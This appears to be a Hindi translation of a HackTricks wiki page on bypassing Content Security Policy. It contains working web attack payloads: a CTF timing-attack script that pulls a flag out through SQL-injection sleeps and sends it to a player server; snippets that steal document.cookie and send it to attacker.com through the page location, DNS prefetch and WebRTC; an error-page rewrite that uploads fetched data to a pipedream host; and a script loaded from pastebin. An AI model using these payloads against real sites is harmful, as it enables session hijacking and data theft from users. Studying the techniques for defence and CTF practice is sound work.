सेवा कर्मचारियों के साथ

सेवा कर्मचारियों की importScripts फ़ंक्शन को CSP से सीमित नहीं किया जाता है:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

नीति इंजेक्शन

शोध: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

यदि आपके द्वारा भेजे गए पैरामीटर को नीति के घोषणा में पेस्ट किया जा रहा है, तो आप नीति को ऐसे किसी तरीके से बदल सकते हैं जो इसे अनुपयोगी बना देता है। आप इनमें से किसी भी बाइपास के साथ स्क्रिप्ट 'unsafe-inline' की अनुमति दे सकते हैं:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

क्योंकि यह निर्देशिका मौजूदा script-src निर्देशिकाओं को अधिलेखित कर देगा। आप यहां एक उदाहरण ढूंढ सकते हैं: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge में यह काफी सरल है। यदि आप इसमें CSP में बस यह जोड़ सकते हैं: ;_ तो Edge पूरी नीति को छोड़ देगा। उदाहरण: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; के माध्यम से XSS (iframe) - समय हमला

निर्देशिका 'unsafe-inline' की कमी का ध्यान दें। इस बार आप XSS के माध्यम से एक <iframe> के साथ पीड़ित को अपने नियंत्रण में एक पृष्ठ लोड करवा सकते हैं। इस बार आप पीड़ित को पृष्ठ को एक्सेस करने के लिए मजबूर करेंगे जहां से आप सूचना (CSRF) निकालना चाहते हैं। आप पृष्ठ की सामग्री तक पहुंच नहीं सकते हैं, लेकिन यदि किसी तरह से आप पृष्ठ को लोड होने के लिए समय को नियंत्रित कर सकते हैं तो आप आवश्यक सूचना निकाल सकते हैं।

इस बार एक ध्वज निकाला जाएगा, जब एक वर्ण सही रूप से अनुमानित होता है, तो प्रतिक्रिया में अधिक समय लगता है नींद की वजह से। फिर, आप ध्वज निकाल सकेंगे:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

बुकमार्कलेट के माध्यम से

इस हमले में हमलावर्ती उपयोगकर्ता को यह धोखा देना होगा कि वह ब्राउज़र के बुकमार्कलेट पर एक लिंक को खींचकर छोड़ दें। यह बुकमार्कलेट हानिकारक जावास्क्रिप्ट कोड को समेत करेगा जो जब खींचकर छोड़ा जाएगा या क्लिक किया जाएगा, तो वह मौजूदा वेब विंडो के संदर्भ में निष्पादित होगा, सीएसपी को छलकाने के लिए और संवेदनशील जानकारी चोरी करने के लिए जैसे कि कुकीज़ या टोकन।

अधिक जानकारी के लिए यहां मूल रिपोर्ट देखें.

सीएसपी को प्रतिबंधित करके सीएसपी को छलकाना

इस CTF व्रिटअप में, सीएसपी को छलकाने के लिए एक अनुमति प्राप्त आइफ्रेम में एक और सीएसपी डालकर अनुमति दी गई है जो एक विशेष JS फ़ाइल को लोड करने की अनुमति नहीं देती है, फिर उसे प्रोटोटाइप प्रदूषण या डॉम क्लॉबरिंग के माध्यम से एक अलग स्क्रिप्ट का उपयोग करने की अनुमति देती है जो एक अनियमित स्क्रिप्ट को लोड करने के लिए दुरुपयोग करने की अनुमति देता है

आप एक आइफ्रेम की सीएसपी को csp विशेषता के साथ प्रतिबंधित कर सकते हैं:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

इस CTF writeup में, HTML injection के माध्यम से CSP को और अधिक प्रतिबंधित किया जा सकता था, इससे CSTI को रोकने वाला स्क्रिप्ट अक्षम हो गया और इस प्रकार दुर्बलता उपयोगी बन गई।
CSP को HTML मेटा टैग का उपयोग करके और इनलाइन स्क्रिप्ट को हटाकर और उनकी नॉन्स को अनुमति देने वाले एंट्री को शानुसार इनलाइन स्क्रिप्ट सक्षम करें:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Content-Security-Policy-Report-Only के साथ JS निर्यात

यदि आप सर्वर को उत्तर देने के लिए Content-Security-Policy-Report-Only हैडर के साथ एक आपके द्वारा नियंत्रित मान के साथ संपर्क कर सकते हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इशारा कर सकते हैं और यदि आप जिस JS सामग्री को निर्यात करना चाहते हैं उसे <script> के साथ ढक देते हैं और क्योंकि संभावतः unsafe-inline को CSP द्वारा अनुमति नहीं होगी, इससे एक CSP त्रुटि उत्पन्न होगी और स्क्रिप्ट का एक हिस्सा (संवेदनशील जानकारी को समेत) Content-Security-Policy-Report-Only से सर्वर को भेजा जाएगा।

एक उदाहरण के लिए इस CTF व्रिटअप की जांच करें

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

जानकारी लीक करना CSP + आइफ्रेम

सोचिए एक स्थिति जहां एक पेज एक गुप्त विवरण के साथ एक अलग पेज पर रीडायरेक्ट हो रहा है उपयोगकर्ता के आधार पर। उदाहरण के लिए, उपयोगकर्ता एडमिन जो redirectme.domain1.com तक पहुंचता है, वह adminsecret321.domain2.com पर रीडायरेक्ट होता है और आप एडमिन के पास XSS का कारण बना सकते हैं। इसके अलावा, रीडायरेक्ट होने वाले पेजों को सुरक्षा नीति द्वारा अनुमति नहीं है, लेकिन रीडायरेक्ट करने वाले पेज को है।

आप एडमिन को रीडायरेक्ट किए जाने वाले डोमेन को निम्नलिखित के माध्यम से लीक कर सकते हैं:

  • CSP उल्लंघन के माध्यम से
  • CSP नियमों के माध्यम से।

CSP उल्लंघन तत्काल लीक होता है। करने के लिए, https://redirectme.domain1.com पर पोइंट करने वाले एक आइफ्रेम लोड करें और securitypolicyviolation घटना को सुनें जिसमें blockedURI संपत्ति शामिल होती है जिसमें ब्लॉक हुए URI का डोमेन होता है। यह इसलिए है क्योंकि https://redirectme.domain1.com (CSP द्वारा अनुमति दी गई) https://adminsecret321.domain2.com पर रीडायरेक्ट होता है (CSP द्वारा अवरुद्ध किया गया)। यह CSP के साथ आइफ्रेम को कैसे हैंडल करना है के अनिर्धारित व्यवहार का उपयोग करता है। Chrome और Firefox इसके संबंध में अलग-अलग व्यवहार करते हैं।

जब आप गुप्त उपडोमेन को संयोजित करने वाले अक्षरों को जानते हैं, तो आप एक बाइनरी सर्च का उपयोग कर सकते हैं और जांच सकते हैं कि कब CSP ने संसाधन को अवरुद्ध किया और कब नहीं, और इसके लिए CSP में विभिन्न निषिद्ध डोमेन बना सकते हैं (इस मामले में गुप्त डोमेन दस्तावेज़-X-XXXX.secdrivencontent.dev के रूप में हो सकता है)।

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

यहां से ट्रिक यहां से है।

HackenProof सभी क्रिप्टो बग बाउंटी के लिए घर है।

देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होते हैं जब उनके ग्राहक पुरस्कार बजट जमा करते हैं। आपको बग सत्यापित होने के बाद पुरस्कार मिलेगा।

वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।

वेब3 हैकर लीजेंड बनें
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।

HackenProof पर साइन अप करें और अपने हैक्स से कमाई करना शुरू करें!

{% embed url="https://hackenproof.com/register" %}

सीएसपी को बाईपास करने के लिए असुरक्षित तकनीकें

PHP प्रतिक्रिया बफर ओवरलोड

PHP के लिए मान्यता प्राप्त है कि यह डिफ़ॉल्ट रूप से प्रतिक्रिया को 4096 बाइट तक बफर करता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो चेतावनियों के अंदर पर्याप्त डेटा प्रदान करके, प्रतिक्रिया को सीएसपी हैडर से पहले भेज दिया जाएगा, जिससे हैडर को अनदेखा कर दिया जाएगा।
फिर, तकनीक मूल रूप से चेतावनियों के साथ प्रतिक्रिया बफर भरने का है ताकि सीएसपी हैडर न भेजा जाए।

यह विचार इस व्राइटअप से है।

त्रुटि पृष्ठ पुनर्लेखन

इस व्राइटअप से लगता है कि एक सीएसपी सुरक्षा को बाईपास करना संभव था जिसमें एक त्रुटि पृष्ठ (संभवतः सीएसपी के बिना) लोड करने और इसकी सामग्री को पुनर्लेखित करने की संभावना थी।

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

कुछ + 'self' + वर्डप्रेस

कुछ एक तकनीक है जो एक पेज के एक एंडपॉइंट में XSS (या अत्यंत सीमित XSS) का दुरुपयोग करती है ताकि उसी मूल स्रोत के अन्य एंडपॉइंट का दुरुपयोग किया जा सके। इसे हमलेबाज़ पेज से विकल्पी एंडपॉइंट लोड करके और फिर उसी मूल स्रोत में हमलेबाज़ पेज को रीफ़्रेश करके किया जाता है। इस तरीके से, विकल्पी एंडपॉइंट वास्तविक एंडपॉइंट के DOM तक पहुंचने के लिए अपने पेयलोड में 'ओपनर' ऑब्जेक्ट का उपयोग कर सकता है। अधिक जानकारी के लिए देखें:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

इसके अलावा, वर्डप्रेस में /wp-json/wp/v2/users/1?_jsonp=data में एक JSONP एंडपॉइंट है जो आउटपुट में भेजे गए डेटा को प्रतिबिंबित करेगा (केवल अक्षर, संख्या और डॉट की सीमा के साथ).

एक हमलेबाज़ उस एंडपॉइंट का दुरुपयोग करके वर्डप्रेस के खिलाफ एक कुछ हमला उत्पन्न कर सकता है और इसे <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> में सम्मिलित कर सकता है ध्यान दें कि यह स्क्रिप्ट लोड होगा क्योंकि इसे 'self' द्वारा अनुमति दी जाती है। इसके अलावा, और क्योंकि वर्डप्रेस स्थापित है, एक हमलेबाज़ उपयोगकर्ता को अधिक अधिकार प्रदान करने, एक नया प्लगइन स्थापित करने के लिए CSP को दुर्भाग्यपूर्ण कॉलबैक एंडपॉइंट का दुरुपयोग कर सकता है...
इस हमले को कैसे करें इसके बारे में अधिक जानकारी के लिए देखें https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

यदि एक सख्त CSP है जो आपको बाहरी सर्वरों के साथ संवाद करने की अनुमति नहीं देता है, तो आप कुछ ऐसी चीजें कर सकते हैं जिससे आप जानकारी को बाहर निकाल सकते हैं।

स्थान

आप बस स्थान को अपडेट कर सकते हैं ताकि गुप्त जानकारी को हमलेबाज़ सर्वर को भेज सकें:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

मेटा टैग

आप एक मेटा टैग इंजेक्शन के माध्यम से पुनर्निर्देशित कर सकते हैं (यह केवल एक पुनर्निर्देशन है, यह सामग्री नहीं लीक करेगा)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS प्रीफेच

पेज को तेजी से लोड करने के लिए, ब्राउज़र होस्टनेम को पहले से ही IP पते में बदलने के लिए प्री-रिज़ॉल्व करेगा और उन्हें बाद में कैश करेगा।
आप एक ब्राउज़र को होस्टनेम को पहले से ही रिज़ॉल्व करने के लिए इस्तेमाल कर सकते हैं: <link reol="dns-prefetch" href="something.com">

आप इस व्यवहार का दुरुपयोग करके DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को बाहर निकाल सकते हैं:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

एक और तरीका:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

इससे बचने के लिए सर्वर HTTP हेडर भेज सकता है:

X-DNS-Prefetch-Control: off

{% hint style="info" %} जाहिर है, यह तकनीक headless ब्राउज़रों (बॉट) में काम नहीं करती है। {% endhint %}

WebRTC

कई पेजों पर आप पढ़ सकते हैं कि WebRTC connect-src नीति की जांच नहीं करता है।

वास्तव में आप एक DNS अनुरोध का उपयोग करके जानकारी को विसर्जित कर सकते हैं। इस कोड की जांच करें:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

एक और विकल्प:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

ऑनलाइन CSP नीतियों की जांच करें

स्वचालित रूप से CSP बनाना

https://csper.io/docs/generating-content-security-policy

संदर्भ

HackenProof क्रिप्टो बग बाउंटी के लिए घर है।

देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होती है जब उनके ग्राहक पुरस्कार बजट जमा करते हैं। बग सत्यापित होने के बाद आपको पुरस्कार मिलेगा।

वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।

वेब3 हैकर लीजेंड बनें
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।

HackenProof पर साइन अप करें और अपने हैक्स से कमाई करें!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥